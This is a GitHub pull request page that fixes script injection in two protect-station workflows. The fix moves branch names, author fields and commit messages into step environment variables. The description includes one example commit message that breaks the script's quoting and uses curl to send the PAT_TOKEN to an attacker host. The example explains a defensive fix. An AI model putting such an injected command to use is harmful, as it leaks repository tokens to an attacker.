Skip to content

fix: pass push metadata to protect-station workflows through env - #293

Merged
whes1015 merged 1 commit into
mainfrom
fix/protect-station-injection
Oct 11, 2026
Merged

whes1015 merged 1 commit into
mainfrom
fix/protect-station-injection

Conversation

@whes1015

Copy link
Copy Markdown
Member

問題

protect-station-csv.yml 與 protect-station-json.yml 把下列值用 ${{ }} 直接嵌進 run script:

  • github.ref_name(分支名稱)
  • github.actor
  • github.event.commits[0].author.email / .author.name
  • github.event.commits[0].message

GitHub 會先把表達式的文字替換進 script,才交給 bash 解析。所以提交訊息裡只要有一個 ",後面的內容就會被當成 shell 執行,而這個 step 的環境裡有 PAT_TOKEN。例如提交訊息寫成 x"; curl -d "$PAT_TOKEN" https://attacker.example; echo ",就能把 token 送出去。

這兩個 workflow 只在 push 時觸發,fork 的 PR 碰不到,要有 repo 寫入權才能利用。但 PAT 的權限通常比這個 repo 大。

修改

改成透過 step 的 env: 傳入,script 讀到的值不變,只是現在當成資料而不是程式碼。做法依照 GitHub 的建議:Security hardening: mitigating script injection。

驗證

actionlint 1.7.12:

  • 改前:兩個檔案都回報 "github.event.commits.*.author.email" is potentially untrusted ... pass it through an environment variable
  • 改後:沒有任何警告

剩下的 ${{ github.repository }} 是 repo 名稱,推送者改不了,所以保留不動。

The branch name, author name, author email and commit message were
expanded with ${{ }} straight into the run script. GitHub substitutes
those expressions as text before bash parses the script, so a commit
message containing a quote ran as shell inside the step that holds
PAT_TOKEN. Hand them over as environment variables instead; the script
reads the same values, now as data.
@whes1015
whes1015 merged commit 58fdc17 into main Oct 11, 2026
5 checks passed
@whes1015
whes1015 deleted the fix/protect-station-injection branch October 11, 2026 15:31
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant